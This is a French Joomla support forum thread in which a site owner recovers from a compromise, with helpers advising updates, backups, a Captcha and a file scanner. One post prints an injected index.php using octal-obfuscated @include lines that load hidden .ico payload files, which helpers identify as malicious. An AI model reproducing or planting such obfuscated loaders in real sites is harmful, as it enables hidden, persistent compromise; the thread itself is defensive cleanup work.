Erreur 404 Topic is solved

Moderators: sarki, Aidan38

Forum rules
Règles du forum
Post Reply
papounet56
Joomla! Apprentice
Joomla! Apprentice
Posts: 7
Joined: Thu Aug 08, 2019 11:44 am

Erreur 404

Post by papounet56 » Thu Aug 08, 2019 12:07 pm

Bonjour,

Depis quelques jours notre site était harcelé par des contacts plutôt tendancieux (messages coquins principalement). J'ai donc supprimé le lien qui permettait au formulaire contact de s'ouvrir.
Surprise ces message on continué avec le mot ROOT dans le message par défaut pour prévenir le webmaster.
J'ai donc fermé momentanément le site et quelques jours plus tard j'ai voulu le réactiver, la redirection suite à une authentification mentionnait l'erreur 404, page introuvable, alors qu'elle existe bien.
De plus lorsque j'ai voulu me connecter chez mon fournisseur d'accès, le message "votre adresse IP est déplacée" est apparue.
Pouvez-vous m'apporter un peu de réconfort.
D'avance je vous remercie

 
User avatar
bruno28
Joomla! Explorer
Joomla! Explorer
Posts: 463
Joined: Wed May 16, 2012 5:41 am
Location: Chartres, France
Contact:

Re: Erreur 404

Post by bruno28 » Thu Aug 08, 2019 12:31 pm

Bonjour papounet56

Est-ce que tu aurais le lien vers le site

As-tu contacté ton hébergeur ?
Cordialement, Bruno28 :)
Joomla! 3.9.15 - php 7.3
https://www.bp2i.fr/ - https://www.moneglisesurle.net/

User avatar
sarki
Joomla! Explorer
Joomla! Explorer
Posts: 390
Joined: Mon Sep 19, 2005 2:34 pm
Location: Suisse
Contact:

Re: Erreur 404

Post by sarki » Thu Aug 08, 2019 1:03 pm

Hello papounet56,
Il faut que tu saches que supprimer un lien ne supprime pas forcément l'accès au formulaire, à l'avenir si tu as un problème avec une extension il te faut aller dans la gestion des extensions et la dépublier en plus de dépublier le lien qui amènerait alors sur une page 404.

Ton Joomla et les extensions ajoutée étaient-elles bien à jour ?
Si je te pose cette question c'est pour savoir si ton site a pu se faire pirater, dans ce cas-là cela risque d'être plus compliqué mais tout n'est pas perdu même ainsi ne t'inquiète pas.

Tu as une page 404 en administration comme en frontal du site ?

Quand tu dis que tu as essayé de contacter ton fournisseur d'accès, tu parles de ton fournisseur d'accès Internet ou de ton hébergeur du site car c'est ce dernier qu'il faudrait éventuellement contacter pour savoir si c'est lui qui a bloqué le site voyant qu'il était attaquer, mais dans ce cas-là je pense qu'il aurait averti...
French Joomla Translation & Support : www.joomla.fr
French JCE Translation & Support : www.sarki.ch/jce

papounet56
Joomla! Apprentice
Joomla! Apprentice
Posts: 7
Joined: Thu Aug 08, 2019 11:44 am

Re: Erreur 404

Post by papounet56 » Thu Aug 08, 2019 3:44 pm

Bonjour à vous deux et merci pour votre rapide intervention.
Depuis mon message les choses ont évoluées, j'ai tout d'abord restauré une version récente qui fonctionnait.
Nous avons donc maintenant accès normalement à notre site. Seul bémol qui persiste les messages qui proviennent de mon adresse de contact (EDIT).
Notre site (EDIT) est hébergé chez LWS que j'ai contacté pour résoudre le problème d'adresse IP dont je parlais. L'affaire est en cours et devrait se solutionner, car depuis j'ai réussi à m'y connecter, mais le problème persiste.
Concernant Joomla, je le met régulièrement à jour mais je viens de m'apercevoir que la toute dernière version que j'avais téléchargée la 3.9.8.1 ne semble pas être installée. Actuellement la version est la 3.6.2 c'est sans doute normal car la restauration effectuée était antérieur à la dernière.
Voilà ce que je peux répondre, j'espère que cela vous aidera.
Bien à vous

EDIT par JM: j'ai effacé l'url du site ainsi que l'adresse email car c'est tresser une corde pour se faire pendre...

User avatar
bruno28
Joomla! Explorer
Joomla! Explorer
Posts: 463
Joined: Wed May 16, 2012 5:41 am
Location: Chartres, France
Contact:

Re: Erreur 404

Post by bruno28 » Thu Aug 08, 2019 3:54 pm

Le site est accessible, je viens d'aller voir, mais il faudrait le passer en 3.9.10 et faire une redirection http vers https
Cordialement, Bruno28 :)
Joomla! 3.9.15 - php 7.3
https://www.bp2i.fr/ - https://www.moneglisesurle.net/

papounet56
Joomla! Apprentice
Joomla! Apprentice
Posts: 7
Joined: Thu Aug 08, 2019 11:44 am

Re: Erreur 404

Post by papounet56 » Thu Aug 08, 2019 4:17 pm

Concernant la mise à jour il s'agissait du pack language, sinon c'est la version 3.9.8.1 qui actuellement installée, je vais donc procéder à la mise à jour vers 3.9.10.
Je viens de suivre ton conseil et effectué une redirection https.
Je vais attendre un peu avant de clôturer ma demande.
Un grand merci à toi, je respire un peu mieux maintenant.
Papounet 56

User avatar
bruno28
Joomla! Explorer
Joomla! Explorer
Posts: 463
Joined: Wed May 16, 2012 5:41 am
Location: Chartres, France
Contact:

Re: Erreur 404

Post by bruno28 » Thu Aug 08, 2019 4:23 pm

Si tu ne l'as pas encore, installe Akeeba Backup et fait une sauvegarde

Bonnes courses, Je cours aussi
Cordialement, Bruno28 :)
Joomla! 3.9.15 - php 7.3
https://www.bp2i.fr/ - https://www.moneglisesurle.net/

User avatar
sarki
Joomla! Explorer
Joomla! Explorer
Posts: 390
Joined: Mon Sep 19, 2005 2:34 pm
Location: Suisse
Contact:

Re: Erreur 404

Post by sarki » Thu Aug 08, 2019 4:25 pm

Je vois que le formulaire de contact dont tu parlais est un formulaire du composant natif de Joomla.
Il faut savoir que chaque champ d'un formulaire a un nom unique, comme "name" pour le nom, "email" pour l'e-mail, etc.
Il existe des petits programmes utilisés par les hackers qui vont remplir automatiquement ces champs si leur noms est connus comme c'est le cas pour ton formulaire, tu n'est donc pas à l'abri d'envoi par ce type de logiciel et tu n'y peux pas grand chose à moins d'activer un Captcha (système anti-spam qui consiste à recopier des lettres/chiffres ou à effectuer une opération mathématique par exemple).
Sache toutefois que l'envoi de message par ce type de logiciel "Hackers" ne met pas ton site en danger s'il est à jour, c'est juste désagréable car cela encombre ta boîte mails...
French Joomla Translation & Support : www.joomla.fr
French JCE Translation & Support : www.sarki.ch/jce

papounet56
Joomla! Apprentice
Joomla! Apprentice
Posts: 7
Joined: Thu Aug 08, 2019 11:44 am

Re: Erreur 404

Post by papounet56 » Fri Aug 09, 2019 3:26 pm

J'ai déjà installé Akeeba Backup, heureusement car j'ai pu récupérer une sauvegarde récente et tou est rentré dans l'ordre, du moins pour le moment. Concernant l'installation d'un Captcha je vais le faire rapidement.
En consultant les fichiers index j'ai remarqué que dans quelques dossiers figuraient deux fichiers nommés ainsi.
Index.html.bak.bak et index.php
dont je transmet une copie
Ici le fichier index.php
<?php
/*eeb15*/

*@include "\057/v\141r/\167ww\057co\165ri\162ap\154un\145re\164.f\162/h\164do\143s/\143om\160on\145nt\163/c\157m_\164ag\163/.\065c6\062c6\0614.\151co";


/*eeb15*/

/*c7416*/

@include "\057var\057www\057cou\162ira\160lun\145ret\056fr/\150tdo\143s/l\141you\164s/l\151bra\162ies\057cms\057.26\142dca\0710.i\143o";

/*c7416*/


echo file_get_contents('index.html.bak.bak');

Faut' il les détruire. Pour info ce site a été piraté il y a maintenant plus d'un an.

Désolé d'user de votre patience.
Bien à vous

Papounet56

User avatar
bruno28
Joomla! Explorer
Joomla! Explorer
Posts: 463
Joined: Wed May 16, 2012 5:41 am
Location: Chartres, France
Contact:

Re: Erreur 404

Post by bruno28 » Fri Aug 09, 2019 4:51 pm

les 2 peuvent être supprimés, ils sont douteux
Cordialement, Bruno28 :)
Joomla! 3.9.15 - php 7.3
https://www.bp2i.fr/ - https://www.moneglisesurle.net/

User avatar
bruno28
Joomla! Explorer
Joomla! Explorer
Posts: 463
Joined: Wed May 16, 2012 5:41 am
Location: Chartres, France
Contact:

Re: Erreur 404

Post by bruno28 » Fri Aug 09, 2019 4:56 pm

Il serait bien aussi de vérifier les autres dossiers pour vérifier qu'il n'y a pas d'autres fichiers douteux en les comparant avec les dossiers Joomla 3.9.10
Cordialement, Bruno28 :)
Joomla! 3.9.15 - php 7.3
https://www.bp2i.fr/ - https://www.moneglisesurle.net/

papounet56
Joomla! Apprentice
Joomla! Apprentice
Posts: 7
Joined: Thu Aug 08, 2019 11:44 am

Re: Erreur 404

Post by papounet56 » Fri Aug 09, 2019 7:20 pm

Pas de soucis j'en ai repéré quelques uns.
Je m'y attèle.
Merci de ta réponse.
Pour l'instant je n'ai toujours pas reçu de message intempestifs.
Pourvu que ça dure,je vais attendre encore 24h et je vous tiens au courant avant de clôturer mon intervention.
Papounet56

User avatar
sarki
Joomla! Explorer
Joomla! Explorer
Posts: 390
Joined: Mon Sep 19, 2005 2:34 pm
Location: Suisse
Contact:

Re: Erreur 404

Post by sarki » Fri Aug 09, 2019 10:38 pm

Hello papounet56,
Je dois malheureusement te confirmer que ce site a été piraté et visiblement assez méchamment, mais bon, si ce ne sont que des fichiers modifiés cela peut se corriger comme le dit bruno avec des outils de comparaison de fichiers tel "WinMerge" en gratuit.
Cela peut être une façon de vérifier les plus de 500 fichiers d'un Joomla, mais si tu as des extensions ajoutées c'est plus ennuyant car il faudrait non seulement avoir la même version de chaque extension mais en plus quand une extension s'installe les fichiers se mettent en plusieurs endroits se qui complique sérieusement la tâche...
Mais pas d'inquiétude, pour cela il existe un outil extraordinaire : Aesecure (https://www.aesecure.com)
C'est une application qui se met à la racine de ton site et qui permet de scanner les fichiers à la recherche de ce genre de chaîne que tu as trouvé dans tes fichiers ainsi que d'autres codes connus pour être des codes malveillants. L'auteur est quelqu'un de très agréable et serviable même si c'est quelqu'un de très occupé, il est modérateur si jamais sur le forum de Joomla FR (https://forum.joomla.fr) ;)

Après avoir tout mis au propre je te conseille vivement de changer ton mot de passe FTP, de bien vérifier que toutes les extensions complémentaires installées sur ce site soient bien à jour, car si ce n'est pas avec les accès FTP que le hacker a fait cela alors c'est certainement en passant par une extension qui permet l'envoi et la modification de fichiers... cela bien sûr dans le cas où ce n'est pas le serveur entier qui s'est fait piraté ce qui peut également arriver, mais rares sont les hébergeurs qui communiquent à ce sujet...
Le site est hébergé où tu sais ?
French Joomla Translation & Support : www.joomla.fr
French JCE Translation & Support : www.sarki.ch/jce

papounet56
Joomla! Apprentice
Joomla! Apprentice
Posts: 7
Joined: Thu Aug 08, 2019 11:44 am

Re: Erreur 404

Post by papounet56 » Sat Aug 10, 2019 12:31 pm

Merci pour ces infos très importantes, je vois que j'ai du travail en perspective.
Je vois cela dès que je rentre de vacances c'est-à-dire début de la semaine prochaine.
Je vous tiendrai au courant de l'évolution.
A plus tard.
Papounet56

papounet56
Joomla! Apprentice
Joomla! Apprentice
Posts: 7
Joined: Thu Aug 08, 2019 11:44 am

Re: Erreur 404

Post by papounet56 » Mon Aug 26, 2019 2:12 pm

Re bonjour aux intervenants sur mon problème.
Cette fois j'ai bien enregistré et effectué vos divers conseils et solutions.
Après un long travail de corrections, je constate que mon problème semble avoir totalement disparu.
Je renouvelle tous mes remerciements pour vos interventions et vous apporte mon témoignage de sympathie.
Je considère mon affaire résolu.
Papounet 56

User avatar
bruno28
Joomla! Explorer
Joomla! Explorer
Posts: 463
Joined: Wed May 16, 2012 5:41 am
Location: Chartres, France
Contact:

Re: Erreur 404

Post by bruno28 » Mon Aug 26, 2019 3:36 pm

Merci pour le retour

Bonne journée
Cordialement, Bruno28 :)
Joomla! 3.9.15 - php 7.3
https://www.bp2i.fr/ - https://www.moneglisesurle.net/

 

Post Reply

Return to “French Forum”